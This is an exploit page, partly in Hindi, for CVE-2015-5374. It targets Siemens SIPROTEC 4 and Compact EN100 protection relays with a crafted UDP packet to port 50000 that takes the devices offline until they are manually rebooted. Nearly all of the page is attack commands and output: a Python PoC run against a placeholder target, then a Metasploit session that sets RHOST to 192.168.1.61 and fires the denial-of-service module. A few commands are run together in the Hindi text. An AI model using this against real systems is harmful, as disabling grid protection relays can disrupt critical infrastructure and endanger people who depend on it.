
CVE-2015-5374 सेवा अस्वीकार (DoS) PoC
यह कोड पोर्ट 50000/UDP पर एक विशेष रूप से तैयार किया गया पैकेट भेजता है जो प्रभावित डिवाइस की सेवा अस्वीकार (DoS) का कारण बन सकता है। डिवाइस को सेवा में वापस लाने के लिए मैन्युअल रीबूट आवश्यक है। इस भेद्यता को CVE-2015-5374 और 7.8 का CVSS v2 बेस स्कोर सौंपा गया है।
can@exploit:~/siprotec_dos_poc$ python Siemens_SIPROTEC_DoS.py <target>
CVE-2015-5374 Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service
Sending packet to <target> ...
Done, say goodbye!
यह मॉड्यूल पोर्ट 50000/UDP पर एक विशेष रूप से तैयार किया गया पैकेट भेजता है जो प्रभावित डिवाइस की सेवा अस्वीकार (DoS) का कारण बन सकता है। डिवाइस को सेवा में वापस लाने के लिए मैन्युअल रीबूट आवश्यक है।
use auxiliary/dos/scada/siemens_siprotec4set RHOST [Target IP], [Target IP] को उस IP पते से बदलें जिस पर आप हमला करना चाहते हैं।runset RHOST [Target IP], set RPORT [Target Port (डिफ़ॉल्ट 50000)]।
msf auxiliary(siemens_siprotec4) > info
Name: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service
Module: auxiliary/dos/scada/siemens_siprotec4
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
M. Can Kurnaz
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 50000 yes The target port (UDP)
Description:
This module sends a specially crafted packet to port 50000/UDP
causing a denial of service of the affected (Siemens SIPROTEC 4 and
SIPROTEC Compact) devices. A manual reboot is required to return the
device to service. CVE-2015-5374 and a CVSS v2 base score of 7.8
have been assigned to this vulnerability.
References:
https://www.exploit-db.com/exploits/44103/
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01
msf auxiliary(siemens_siprotec4) > show options
Module options (auxiliary/dos/scada/siemens_siprotec4):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 50000 yes The target port (UDP)
msf auxiliary(siemens_siprotec4) > set rhost 192.168.1.61
rhost => 192.168.1.61
msf auxiliary(siemens_siprotec4) > run
[*] Sending DoS packet ...
[*] Auxiliary module execution completed
msf auxiliary(siemens_siprotec4) >